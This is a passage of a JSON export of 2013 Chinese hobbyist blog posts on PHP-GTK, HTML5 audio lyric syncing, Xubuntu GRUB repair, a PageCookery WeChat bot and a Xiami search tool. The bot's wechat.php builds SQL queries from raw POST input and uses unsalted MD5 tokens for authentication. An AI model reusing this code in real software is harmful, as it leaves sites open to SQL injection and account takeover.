href=\"http://gtk.php.net/\"\u003ePHP-GTK\u003c/a\u003e这种逆天的东西了，初看感觉道路一片光明（往后看你就会明白我为什么这么说了）。遂对它有了深深的执念。\u003c/p\u003e\n\u003cp\u003e下载了这货的二进制包，结果还搜了半天的教程才会使用它。而且官方手册没有中文包（虽然放了中文包的下载地址，不过居然404！满满的都是坑啊！），为此我还下了一番决定准备翻译官方文档呢。当然，目前为止我只是翻译了教程部分，关键的手册部分都木有开始就决定把这个计划腰斩了啊！如果有需要的同学可以点击这里：\u003ca href=\"https://imnerd.org/lab/php-gtk-manual.html\"\u003ePHP-GTK 2教程\u003c/a\u003e。通篇教程是用\u003ca href=\"http://markdownpad.com/\"\u003eMardownPad\u003c/a\u003e编写并输出的。你们不要问我为什么好好的分页教程被我活生生的整合到一个页面去了还不给打标签，我就是喜欢，你们能怎么样~恩哼！\u003c/p\u003e","time":6,"title":"用PHP写桌面程序"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"今天群里的小胖说用\u0026lt;audio\u0026gt;标签写了个听评书的网页给父母用，技术实在是低级真心非常有孝心的说！然后我也顺带去了解了一下audio标签现在的支持情况，一不小心就脑补了一些新知识。看到了audio标签有duration属性和currentTime属性，分别用来读取歌曲总时间和当前播放时间，正好弥补了我之前想写播放器同步显示歌词一直卡在的如何获取播放时间的问题上。所以就开始操刀了。\n歌曲和歌词的准备 我暂时是写到了之前的虾米搜索页面里面，实现搜索获得歌曲用audio标签播放并显示歌词。所以歌曲和歌词文件自然就来自盗版帝国虾米了。由于虾米的歌曲文件都是MP3格式的，所以悲剧如FireFox等虽然支持了HTML5但是不支持MP3格式的文件这让我也是感到很捉急的，所以暂时是推荐大家使用Chrome浏览器制作并访问的。关于目前各浏览器的支持情况可以看这里：居然连IE都支持了！这里利用了一下虾米的API：http://www.xiami.com/song/playlist/id/歌曲ID 获取歌曲的相关信息，其中就有歌曲地址和歌词。获取到的XML文件中，歌曲地址是加密放置的，至于解析原理，大家可以参见虾米音乐文件绝对地址解析。详细的解释一下就是：\n获取到的字符串第一个字母是矩阵的行数，除去第一个字母的字符总数除以行数得到的整数是每行放置多少个字符，余数则是前余数行要在末尾多放置一个字符。这样就能组成引文中的矩阵了。按照竖行读取，^替换为0的处理后就可以获得绝对地址了。\n懒惰如我为了方便自己，我把解析的过程写成了函数。最开始我是将字符串打散成为二维数组，然后嵌套循环连接字符串。后来觉得打散成一位数组应该会更方便一点，所以为了算获取数组索引顺序的规律，死了好多个脑细胞啊，果然数学已经忘到姥姥家了。\n歌词由于后期要用js处理，js又不能跨域获取什么的。所以只能劳烦PHP获取到歌词地址后远程抓取过来了。以上解析得到绝对地址和歌词都是在服务器端完成的。我写成了API的形式，https://imnerd.org/lab/search/api.php?id=歌曲ID可以查看获取到的内容格式。\naudio歌曲播放与暂停 果然我还是对解码什么的比较感兴趣，一不小心就偏题了呢。好啦好啦，以上都不应该是本文的重点啦，下面我们开始好好的蹂躏学习一下audio标签啦。audio标签的简单写法为\n\u0026lt;audio src=\u0026#34;歌曲地址\u0026#34;\u0026gt;\u0026lt;/audio\u0026gt; 控制歌曲的播放和暂停也是非常简单的，只要利用play()和pause()事件就好了，代码如下：\nm = document.getElementsByTagName(\u0026#39;audio\u0026#39;)[0]; m.play(); //歌曲的播放 m.pause(); //歌曲的暂停 想要了解更多audio标签的属性和事件的话可以点击这里：HTML 5 视频/音频参考手册\n同步显示歌词的实现 我在开头已经讲了，audio的currentTime属性可以获取当前播放时间。又如果你刚才有去点击上面的参考手册的链接的话，你就会发现audio还有一个神奇的timeupdate事件，目的是当目前的播放位置已更改时做出动作。也就是说我们可以利用timeupdate事件在currentTime变化的时候做出判断，然后放置相应的歌词。\n基本方法大概就是这个样子，播放器的当前播放时间我们已经获取到了，剩下的就是获取歌词的播放时间的问题了。由于标准的歌词每行应该是“[你好我是播放时间，我的格式是分:秒]你好我是该播放时间下的歌词”这种格式的，想必大家早就了解了吧。利用正则获取split分割等一系列方法将歌词分割成一个二维数组，一纬为每行歌词，二维为每行歌词的时间和每行歌词的内容。其中歌词的时间由于是分钟：秒的形式，需要转化为单位为秒的数字。下面给出歌词转化为二维数组的方法。方法可能坑爹不是最好的，但是基本凑合，这一部分大家可以随意发挥：\n//写成函数的形式大家可能会更好理解一点 function parseLyric(text) { lyric = text.split(\u0026#39;\\r\\n\u0026#39;); //先按行分割 var _l = lyric.length; //获取歌词行数 lrc = new Array(); //新建一个数组存放最后结果 for(i=0;i\u0026lt;_l;i++) { var d = lyric[i].match(/\\[\\d{2}:\\d{2}((\\.|\\:)\\d{2})\\]/g); //正则匹配播放时间 var t = lyric[i].split(d); //以时间为分割点分割每行歌词，数组最后一个为歌词正文 if(d != null) { //过滤掉空行等非歌词正文部分 //换算时间，保留两位小数 var dt = String(d).split(\u0026#39;:\u0026#39;); //不知道为什么一定要转换时间为字符串之后才能split，难道之前正则获取的时间已经不是字符串了么？ var _t = Math.round(parseInt(dt[0].split(\u0026#39;[\u0026#39;)[1])*60+parseFloat(dt[1].split(\u0026#39;]\u0026#39;)[0])*100)/100; //这一步我自己都觉得甚是坑爹啊！ lrc.push([_t, t[1]]); } return lrc; } 这样我们只要匹配歌词每行的时间和crrentTime就行了，如果当前播放时间超过了这一句歌词的时间，则显示这一句歌词，否则不显示。这是我们下面代码的关键判断。另外，这里我使用了一个自我感觉还不错的小技巧：显示完歌词之后立即将这行歌词从歌词数组中剔除出去，这样我们就永远只要将currentTime和lrc[1][0]比较就好了，而不用麻烦的去每个都去比较一下。\nm.addEventListener(\u0026#39;timeupdate\u0026#39;, function() { if(audio.currentTime \u0026gt; lrc[1][0]) { document.getElementById(\u0026#39;lrc\u0026#39;).innerHTML = lrc[1][1]; lrc.shift(); } },false); //addEventListener等同于m.timeupdate(function() {...}); 歌曲播放并显示歌词的思路大概就这个样子了，具体的代码可以去看我的DEMO。DEMO只是给出了大概的功能，UI方面都还木有美化，大家习惯就好，这个是在是力不从心啊！本人一向也不是很在意UI的。最后的最后，感谢一下Jclyn帮我做了测试并推荐了本文开头的歌曲。哦，又突然想起来了，DEMO的范例是用JQuery操作的，虽然跟Javascript有些不同，但是对于思路什么的是没有问题的，有不懂的可以留言提问哦，我会看心情耐心解答的。\n","count":2241,"date":"2013年01月29日","featuredImage":null,"permalink":"https://imnerd.org/@player-lyric-by-audio.html","summary":"\u003cp\u003e今天群里的小胖说用\u003ccode\u003e\u0026lt;audio\u0026gt;\u003c/code\u003e标签写了个听评书的网页给父母用，\u003cdel\u003e技术实在是低级\u003c/del\u003e真心非常有孝心的说！然后我也顺带去了解了一下audio标签现在的支持情况，一不小心就脑补了一些新知识。看到了audio标签有duration属性和currentTime属性，分别用来读取歌曲总时间和当前播放时间，正好弥补了我之前想写播放器同步显示歌词一直卡在的如何获取播放时间的问题上。所以就开始操刀了。\u003c/p\u003e","time":5,"title":"初探\u003caudio\u003e标签实现同步显示歌词"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"o(∩∩)o\u0026hellip;哈哈，早就想试用一下WPS for linux了，果然如传说中的一样强大啊，打开.doc, .xls, .ppt什么的毫无压力，另外excel中各种公式也非常的齐全，其它的有待后续发现。\n我的发行版是Xubuntu 12.10 amd64版的，由于wps暂时好像没有出64位的，所以只能装32位了。安装之后发现无法打开，搜索了一下之后发现好像是64位的系统无法找到32位的程序，所以需要在终端中运行如下代码：\nsudo apt-get install libc6-i386 sudo apt-get install ia32-libs\n然后你就会发现一切都正常了，哈哈！这里附上wps a8p2测试版的下载地址：BOX\nWPS已经发布Beta1版了，可以公开下载：官方下载\n","count":275,"date":"2013年01月21日","featuredImage":null,"permalink":"https://imnerd.org/wps-for-linux.html","summary":"\u003cp\u003eo(∩∩)o\u0026hellip;哈哈，早就想试用一下WPS for linux了，果然如传说中的一样强大啊，打开.doc, .xls, .ppt什么的毫无压力，另外excel中各种公式也非常的齐全，其它的有待后续发现。\u003c/p\u003e","time":1,"title":"WPS for linux"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"Ubuntu出12.10那会儿想升级来着，不喜欢系统自带的版本升级，主要原因是很慢！也没什么东西在系统里头，干脆就重装咯！Ubuntu的Unity让我实在是不忍吐槽，虽然说自己装一下Gnome也就那么回事，但总的来说还是不怎么舒服。咨询了各位的意见，大家都觉得桌面环境比较好的Ubuntu类就剩下Mint和Xubuntu了。本来之前想先体验一下Xubuntu的，结果U盘很BUG，刻启动盘只有Mint的镜像成功了，好囧！Xubuntu等64位的镜像用UltraISO打开之后只加载了一个EFI文件夹，做启动盘也很快就做好了。后来查资料发现，先将系统镜像加载到虚拟光驱，然后在UltraISO上选择打开光盘（工具栏上就有这个选项），这样就能正常加载并刻录了，当然这是后话了。装了Mint之后发现其实还不是非常的满意，而且倒腾了半天之后发现系统被我搞的有点残了（-_-!我真心不是破坏王啊！），机缘巧合又找到了破64位做启动盘的方法，于是就快乐的开始了我的清盘计划。\n在安装过程中格式化了我之前给Mint的ext4分区，一切的安装是那么的顺利，直到重启提示\u0026quot;error: file not found\u0026quot;进入grub rescue模式。之前曾经碰到过一次，应该是格盘导致分区变化跟老的分区表不匹配导致的，只要重建GRUB就好了。搜索之后发现有两种方法，前一种是在rescue模式下直接恢复的，这种我没有成功；后一种是利用LIVE CD恢复的，万能的方法对我也是奏效的。在这里记录一下：\nmkdir /mnt/ubuntu mount /dev/sdb1 /mnt/ubuntu mount --bind /proc /mnt/ubuntu/proc mount --bind /dev /mnt/ubuntu/dev mount --bind /sys /mnt/ubuntu/sys chroot /mnt/ubuntu grub-install /dev/sdb 其中第二行的/dev/sdb1是你的Xubuntu安装位置，不知道的可以打开Gparted就一目了然了。最后一行的/dev/sdb是你的Xubuntu所在的磁盘。重启就OK了！\n刚进Xubuntu的时候就被Xfce这种小清新的感觉给俘获了，简直是太口爱了，o(∩∩)o\u0026hellip;哈哈！因为我的本子是老本子，系统没带无线网卡的驱动，所以每次我都是先连上有线到附加驱动里头去装网卡驱动然后再开无线的。可是这回不知道是12.10这个版本我不太会用还是怎么的，怎么都找不到附加驱动了\u0026hellip;囧瑟夫！还是上网查才知道居然给合并到软件源里头去了，尴尬了！\n从外观上感觉Xubuntu真是非常不错的，如果有人跟我一样不惜管Unity的话也可以尝试安装一下的说。\n","count":987,"date":"2013年01月20日","featuredImage":null,"permalink":"https://imnerd.org/xubuntu-1210.html","summary":"\u003cp\u003eUbuntu出12.10那会儿想升级来着，不喜欢系统自带的版本升级，主要原因是很慢！也没什么东西在系统里头，干脆就重装咯！Ubuntu的Unity让我实在是不忍吐槽，虽然说自己装一下Gnome也就那么回事，但总的来说还是不怎么舒服。咨询了各位的意见，大家都觉得桌面环境比较好的Ubuntu类就剩下Mint和Xubuntu了。本来之前想先体验一下Xubuntu的，结果U盘很BUG，刻启动盘只有Mint的镜像成功了，好囧！Xubuntu等64位的镜像用UltraISO打开之后只加载了一个EFI文件夹，做启动盘也很快就做好了。后来查资料发现，先将系统镜像加载到虚拟光驱，然后在UltraISO上选择打开光盘（工具栏上就有这个选项），这样就能正常加载并刻录了，当然这是后话了。装了Mint之后发现其实还不是非常的满意，而且倒腾了半天之后发现系统被我搞的有点残了（-_-!我真心不是破坏王啊！），机缘巧合又找到了破64位做启动盘的方法，于是就快乐的开始了我的清盘计划。\u003c/p\u003e","time":2,"title":"体验Xubuntu"},{"comments":{"data":[15],"errmsg":"","errno":0},"contents":"上传API文件到网站，微信添加PageCookery公共账号即可使用（下面有详细使用教程说明）。本机器人建立初功能比较薄弱，仅有绑定账号，发表状态功能，后续博主会再接再厉增加更多功能的。个人认为此微信公共账号变相地解决了PageCookery的手机客户端的问题。本账号还处于婴儿阶段，并未作过多的测试，欢迎大家反馈。\n使用教程：\n第一步：下载wechat.php并上传到PageCookery的根目录（请保证文件名为wechat.php）\rwechat.php源代码（请自行保存以下代码并上传至PageCookery根目录）：\r\u0026lt;?php include\u0026#34;config.php\u0026#34;; function sql_query($sqlcon){ $con=mysql_connect(DATABASE_HOST,DATABASE_USER,DATABASE_PSSWORD); mysql_select_db(DATABASE_DB_NAME); mysql_query(\u0026#34;SET NAMES \u0026#39;utf8\u0026#39;\u0026#34;); $result=mysql_query($sqlcon); mysql_close($con); return $result; } if(!isset($_GET[\u0026#39;do\u0026#39;])) $_GET[\u0026#39;do\u0026#39;] = \u0026#39;\u0026#39;; switch($_GET[\u0026#39;do\u0026#39;]){ case\u0026#39;auth\u0026#39;: $user=sql_query(\u0026#34;SELECT * FROM user WHERE id= \u0026#39;\u0026#34;.$_POST[\u0026#39;usr\u0026#39;].\u0026#34;\u0026#39;\u0026#34;); $user=mysql_fetch_array($user); $pwd=md5($user[\u0026#39;username\u0026#39;].$user[\u0026#39;password\u0026#39;]); if($pwd===$_POST[\u0026#39;auth\u0026#39;]){ $j = array(\u0026#39;code\u0026#39;=\u0026amp;gt;true, \u0026#39;message\u0026#39;=\u0026amp;gt;\u0026#39;绑定成功，现在你可以发一条消息试试了！\u0026#39;); }else{ $j = array(\u0026#39;code\u0026#39;=\u0026amp;gt;false, \u0026#39;message\u0026#39;=\u0026amp;gt;\u0026#39;绑定失败，请输入正确的信息！\u0026#39;); } echo json_encode($j); break; case \u0026#39;post\u0026#39;: $user=sql_query(\u0026#34;SELECT * FROM user WHERE id= \u0026#39;\u0026#34;.$_POST[\u0026#39;usr\u0026#39;].\u0026#34;\u0026#39;\u0026#34;); $user=mysql_fetch_array($user); $pwd=md5($user[\u0026#39;username\u0026#39;].$user[\u0026#39;password\u0026#39;]); if($pwd===$_POST[\u0026#39;auth\u0026#39;]){ $userid=$_POST[\u0026#39;usr\u0026#39;]; $content=$_POST[\u0026#39;content\u0026#39;]; $time=time(); $res=sql_query(\u0026#34;INSERT INTO entry VALUES (\u0026#39;\u0026#39;,\u0026#39;0\u0026#39;,\u0026#39;$content\u0026#39;,\u0026#39;$time\u0026#39;,\u0026#39;微信\u0026#39;,\u0026#39;$userid\u0026#39;)\u0026#34;); if($res){ $j = array(\u0026#39;code\u0026#39;=\u0026amp;gt;true, \u0026#39;message\u0026#39;=\u0026amp;gt;\u0026#39;发送成功！\u0026#39;); }else{ $j = array(\u0026#39;code\u0026#39;=\u0026amp;gt;false, \u0026#39;message\u0026#39;=\u0026amp;gt;\u0026#39;发送失败请稍后再试\u0026#39;); } }else{ $j= array(\u0026#39;code\u0026#39;=\u0026amp;gt;false, \u0026#39;message\u0026#39;=\u0026amp;gt;\u0026#39;您还未绑定网站或者之前的绑定已失效，请重新绑定！\u0026#39;); } echo json_encode($j); break; case \u0026#39;postfromgtalk\u0026#39;: $user=sql_query(\u0026#34;SELECT * FROM user WHERE id= \u0026#39;\u0026#34;.$_POST[\u0026#39;usr\u0026#39;].\u0026#34;\u0026#39;\u0026#34;); $user=mysql_fetch_array($user); $pwd=md5($user[\u0026#39;username\u0026#39;].$user[\u0026#39;password\u0026#39;]); if($pwd===$_POST[\u0026#39;auth\u0026#39;]){ $userid=$_POST[\u0026#39;usr\u0026#39;]; $content=$_POST[\u0026#39;content\u0026#39;]; $time=time(); $res=sql_query(\u0026#34;INSERT INTO entry VALUES (\u0026#39;\u0026#39;,\u0026#39;0\u0026#39;,\u0026#39;$content\u0026#39;,\u0026#39;$time\u0026#39;,\u0026#39;Gtalk\u0026#39;,\u0026#39;$userid\u0026#39;)\u0026#34;); if($res){ $j = array(\u0026#39;code\u0026#39;=\u0026amp;gt;true, \u0026#39;message\u0026#39;=\u0026amp;gt;\u0026#39;发送成功！\u0026#39;); }else{ $j = array(\u0026#39;code\u0026#39;=\u0026amp;gt;false, \u0026#39;message\u0026#39;=\u0026amp;gt;\u0026#39;发送失败请稍后再试\u0026#39;); } }else{ $j= array(\u0026#39;code\u0026#39;=\u0026amp;gt;false, \u0026#39;message\u0026#39;=\u0026amp;gt;\u0026#39;您还未绑定网站或者之前的绑定已失效，请重新绑定！\u0026#39;); } echo json_encode($j); break; case \u0026#39;signature\u0026#39;:\techo \u0026#39;\u0026amp;lt;meta charset=\u0026#34;utf-8\u0026#34; http-equiv=\u0026#34;content-type\u0026#34; content=\u0026#34;\u0026#34;\u0026amp;gt;\u0026#39;; if(!isset($_POST[\u0026#39;username\u0026#39;])) { echo \u0026#39;\u0026amp;lt;form method=\u0026#34;post\u0026#34; action=\u0026#34;./wechat.php?do=signature\u0026#34;\u0026amp;gt;\u0026amp;lt;p\u0026amp;gt;用户名：\u0026amp;lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;username\u0026#34; value=\u0026#34;\u0026#34; /\u0026amp;gt;\u0026amp;lt;/p\u0026amp;gt;\u0026amp;lt;p\u0026amp;gt;密\u0026amp;nbsp;\u0026amp;nbsp;码：\u0026amp;lt;input type=\u0026#34;password\u0026#34; name=\u0026#34;password\u0026#34; value=\u0026#34;\u0026#34; /\u0026amp;gt;\u0026amp;lt;/p\u0026amp;gt;\u0026amp;lt;p\u0026amp;gt;\u0026amp;lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;确认\u0026#34; /\u0026amp;gt;\u0026#39;; } else { $user=sql_query(\u0026#34;SELECT * FROM user WHERE username = \u0026#39;\u0026#34;.$_POST[\u0026#39;username\u0026#39;].\u0026#34;\u0026#39;\u0026#34;); $user=mysql_fetch_array($user); if(md5($_POST[\u0026#39;password\u0026#39;]) === $user[\u0026#39;password\u0026#39;]) { $sig = $user[\u0026#39;id\u0026#39;].md5($user[\u0026#39;username\u0026#39;].$user[\u0026#39;password\u0026#39;]); echo \u0026#39;你的识别码是\u0026#34;\u0026#39;.$sig.\u0026#39;\u0026#34;，请发送\u0026#34;-sig \u0026#39;.$sig.\u0026#39;\u0026#34;给PageCookery微信机器人完成绑定！\u0026#39;; } else { echo \u0026#39;用户名或密码错误！\u0026#39;; } } break; default: $j = array(\u0026#39;code\u0026#39;=\u0026amp;gt;true, \u0026#39;message\u0026#39;=\u0026amp;gt;\u0026#39;微信机器人平台搭建成功！\u0026#39;); echo json_encode($j); break; } ?\u0026gt; 第二步：关注PageCookery微信机器人账号。微信中选择“朋友-添加朋友-查找微信公众账号”，输入pagecookery即可查到机器人账号，添加即可。或者直接扫描下面的二维码即可成功添加。\n第三步：绑定自己的网站和账号。首先发送消息“-url 你的网站地址”，会让你跳转到另外一个页面，复制地址到浏览器中打开输入你的账号和密码后会返回识别码，复制识别码到微信中发送过去就完成绑定过程了。具体使用见下图：\n第一次关注会提示你绑定网站，输入“-url 你的网站地址”即可完成绑定。\n复制地址到浏览器中打开，并输入你的PageCookery账号和密码，网页会返回识别码，复制识别码发送给PageCookery微信机器人即可完成绑定。\n如果发送错误的识别码过去，机器人会提示绑定失败。\n绑定账号完成后直接输入消息就可以发布状态了。\n","count":1646,"date":"2013年01月17日","featuredImage":null,"permalink":"https://imnerd.org/pagecookery-robot-for-wechat.html","summary":"\u003cp\u003e上传API文件到网站，微信添加PageCookery公共账号即可使用（下面有详细使用教程说明）。本机器人建立初功能比较薄弱，仅有绑定账号，发表状态功能，后续博主会再接再厉增加更多功能的。个人认为此微信公共账号变相地解决了PageCookery的手机客户端的问题。本账号还处于婴儿阶段，并未作过多的测试，欢迎大家反馈。\u003c/p\u003e","time":4,"title":"PageCookery微信机器人"},{"comments":{"data":[13],"errmsg":"","errno":0},"contents":"\r由于豆瓣API的无能，这次的统计颇为烦恼啊。本次统计使用https://imnerd.org/lab/douban 工具得到，欢迎大家使用。\n","count":69,"date":"2013年01月01日","featuredImage":null,"permalink":"https://imnerd.org/2012-film.html","summary":"\u003c!-- \u003ciframe src=\"https://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#382620\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\r\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=382620\"\u003e\u003c/iframe\u003e\r\n\u003cp\u003e由于豆瓣API的无能，这次的统计颇为烦恼啊。本次统计使用\u003ca href=\"https://imnerd.org/lab/douban\" target=\"_blank\"\u003ehttps://imnerd.org/lab/douban\u003c/a\u003e 工具得到，欢迎大家使用。\u003c/p\u003e\r\n\u003cscript src=\"https://lib.baomitu.com/jquery/1.7.1/jquery.min.js\"type=\"text/javascript\"\u003e\u003c/script\u003e\u003cscript src=\"https://imnerd.org/lab/douban/res/highcharts.js\"type=\"text/javascript\"\u003e\u003c/script\u003e\u003cscript type=\"text/javascript\"\u003e$(function(){var chart1;$(document).ready(function(){var colors=Highcharts.getOptions().colors,month30=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30];month31=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31];categories=['一月','二月','三月','四月','五月','六月','七月','八月','九月','十月','十一月','十二月'],name='电影',data=[{y: 18,color: colors[0],drilldown: {name: categories[0],categories: month31,data: [0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,1,2,1,0,0,0,1,2,0,0,2,2,1,2],color: colors[0]}},{y: 10,color: colors[0],drilldown: {name: categories[1],categories: month30,data: [0,0,3,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,2,0,1,0,0,0,0,0,0],color: colors[1]}},{y: 31,color: colors[0],drilldown: {name: categories[2],categories: month31,data: [0,0,0,1,1,1,0,2,2,4,0,0,3,0,2,0,0,2,3,0,1,0,1,1,2,1,1,2,0,1,0],color: colors[2]}},{y: 17,color: colors[0],drilldown: {name: categories[3],categories: month30,data: [2,3,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,3,0,1,0,0,1,0,1,1,0,0,1,1],color: colors[3]}},{y: 1,color: colors[0],drilldown: {name: categories[4],categories: month31,data: [0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],color: colors[4]}},{y: 1,color: colors[0],drilldown: {name: categories[5],categories: month30,data: [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0],color: colors[5]}},{y: 1,color: colors[0],drilldown: {name: categories[6],categories: month31,data: [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0],color: colors[6]}},{y: 14,color: colors[0],drilldown: {name: categories[7],categories: month31,data: [0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,2,2,0,2,1,1,1,0,1,0,0],color: colors[7]}},{y: 7,color: colors[0],drilldown: {name: categories[8],categories: month30,data: [0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0],color: colors[8]}},{y: 7,color: colors[0],drilldown: {name: categories[9],categories: month31,data: [0,0,0,0,0,0,0,0,0,2,2,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0],color: colors[9]}},{y: 6,color: colors[0],drilldown: {name: categories[10],categories: month30,data: [0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0,0,0,0,0,1],color: colors[10]}},{y: 12,color: colors[0],drilldown: {name: categories[11],categories: month31,data: [1,0,0,0,0,1,1,0,0,0,0,0,0,2,1,0,0,0,0,1,1,0,1,0,0,2,0,0,0,0,1],color: colors[11]}}];function setChart(name,categories,data,color){chart1.xAxis[0].setCategories(categories,false);chart1.series[0].remove(false);chart1.addSeries({name:name,data:data,color:color},false);chart1.redraw()}chart1=new Highcharts.Chart({chart:{renderTo:'chart',type:'column'},title:{text:'2012年你一共看过125部电影'},xAxis:{categories:categories},yAxis:{title:{text:'数量（部）'}},plotOptions:{column:{cursor:'pointer',point:{events:{click:function(){var drilldown=this.drilldown;if(drilldown){setChart(drilldown.name,drilldown.categories,drilldown.data,drilldown.color)}else{setChart(name,categories,data)}}}},dataLabels:{enabled:true,formatter:function(){return this.y}}}},tooltip:{formatter:function(){var point=this.point,s=this.x+': '+this.y+'部\u003cbr/\u003e';if(point.drilldown){s+='单击查看'+point.category+'详情'}else{s+='返回月份总览'}return s}},series:[{name:name,data:data,color:colors[0]}],exporting:{enabled:true}})})});\u003c/script\u003e\u003cdiv id=\"chart\"style=\"width:600px;height:400px;margin-left:-30px;\"\u003e\u003c/div\u003e\u003cscript type=\"text/javascript\"\u003evar chart;$(document).ready(function(){chart=new Highcharts.Chart({chart:{renderTo:'pie-chart',plotBackgroundColor:null,plotBorderWidth:null,plotShadow:false},title:{text:'评分分布'},tooltip:{pointFormat:'',percentageDecimals:0},plotOptions:{pie:{allowPointSelect:true,cursor:'pointer',dataLabels:{enabled:true,color:'#000000',connectorColor:'#000000',formatter:function(){return'\u003cb\u003e'+this.point.name+'\u003c/b\u003e: '+Math.round(this.percentage)+' %'}}}},series:[{type:'pie',name:'数量',data:[['无',0],['1星',3],['2星',18],['3星',56],['4星',45],['5星',3]]}]})});\u003c/script\u003e\u003cdiv id=\"pie-chart\" style=\"width:600px;height:400px;margin-left:-30px;\"\u003e\u003c/div\u003e\r\n\u003cp\u003e\u003cimg src=\"https://imnerd.org/assets/migration/p5.ssl.qhimg.com/t011297fcc0a748df6c.png\" alt=\"\"\u003e\u003c/p\u003e","time":1,"title":"2012年小结之电影全记录"},{"comments":{"data":[44],"errmsg":"","errno":0},"contents":"预览 预览地址：虾米音乐搜索 主要目的是搜索音乐并获取播放器代码\n原理 本段代码主要利用了http://www.xiami.com/app/nineteen/search/key/搜索内容/page/搜索结果页数虾米这个隐藏的API，例如http://www.xiami.com/app/nineteen/search/key/传奇/page/1可以获取到搜索结果总数已经相关歌曲的信息等。\n简单的思路是搜索框输入搜索信息点击搜索AJAX载入API搜索结果并返回给页面解析显示，单击一条歌曲时根据搜索结果获得的歌曲ID返回播放器代码。\n代码分析 首先是基本的HTML代码\n\u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;text\u0026#34; value=\u0026#34;\u0026#34; /\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; id=\u0026#34;page\u0026#34; value=\u0026#34;1\u0026#34; /\u0026gt; \u0026lt;!--隐藏的input用来存放页面数--\u0026gt; \u0026lt;button\u0026gt;搜索\u0026lt;/button\u0026gt; \u0026lt;!--#result用来显示歌曲列表 | #navi增加载入更多特效 | #show用来显示播放器代码--\u0026gt; \u0026lt;div id=\u0026#34;list\u0026#34;\u0026gt; \u0026lt;div id=\u0026#34;result\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div id=\u0026#34;navi\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div id=\u0026#34;show\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; 加载jQuery库文件\n\u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;http://lib.sinaapp.com/js/jquery/1.8.3/jquery.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 添加获取搜索结果的异步事件，增加搜索框回车快捷获取结果效果。第7行用于清除播放器代码显示结果，以防是得到播放器显示结果后重新搜索。第10行用于当搜索结果时不加载载入更多代码。\nfunction search() { $.ajax({ url: \u0026#34;http://www.xiami.com/app/nineteen/search/key/\u0026#34;+$(\u0026#39;#text\u0026#39;).val()+\u0026#34;/page/\u0026#34;+$(\u0026#39;#page\u0026#39;).val(), type: \u0026#34;get\u0026#34;, dataType: \u0026#34;jsonp\u0026#34;, success: function(data, status) { $(\u0026#39;#show\u0026#39;).html(\u0026#39;\u0026#39;); $(\u0026#34;#list\u0026#34;).css(\u0026#39;display\u0026#39;,\u0026#39;block\u0026#39;); if(data.total / 8 != 1) { $(\u0026#39;#navi\u0026#39;).html(\u0026#39;\u0026lt;center\u0026gt;载入更多\u0026lt;/center\u0026gt;\u0026#39;); } $.each(data.results, function(i,item){ $(\u0026#39;\u0026lt;p onclick=\u0026#34;show(\\\u0026#39;\u0026#39;+item.song_id+\u0026#39;\\\u0026#39;);\u0026#34;\u0026gt;\u0026#39;+decodeURIComponent(item.song_name)+\u0026#39; - \u0026#39;+decodeURIComponent(item.artist_name)+\u0026#39;\u0026lt;/p\u0026gt;\u0026#39;).appendTo(\u0026#39;#result\u0026#39;); }); }, error: function() { alert(\u0026#39;failed!\u0026#39;); } }); } //当点击搜索按钮时先清除结果显示防止是重新搜索，然后再一步加载搜索结果 $(\u0026#39;button\u0026#39;).click(function(){ $(\u0026#34;#result\u0026#34;).html(\u0026#39;\u0026#39;); search(); }); //搜索框回车时触发搜索按钮点击事件 $(\u0026#34;body\u0026#34;).keydown(function() { if (event.keyCode == \u0026#34;13\u0026#34;) { $(\u0026#39;button\u0026#39;).click(); } }); 增加点击歌曲名获取歌曲播放器代码事件，先是在页面中显示播放器，再用一个textarea框显示引用代码，并增加了当textarea框获得焦点时自动全选框内代码效果。\nfunction show(id) { //搜索结束搜索起始页面自动返回到1 $(\u0026#39;#page\u0026#39;).val(\u0026#39;1\u0026#39;); $(\u0026#39;#list\u0026#39;).css(\u0026#39;display\u0026#39;, \u0026#39;none\u0026#39;); var html = \u0026#39;\u0026lt;embed src=\u0026#34;http://www.xiami.com/widget/0_\u0026#39;+id+\u0026#39;/singlePlayer.swf\u0026#34; type=\u0026#34;application/x-shockwave-flash\u0026#34; width=\u0026#34;257\u0026#34; height=\u0026#34;33\u0026#34; wmode=\u0026#34;transparent\u0026#34;\u0026gt;\u0026lt;/embed\u0026gt;\u0026#39;; $(\u0026#34;#show\u0026#34;).html(html); 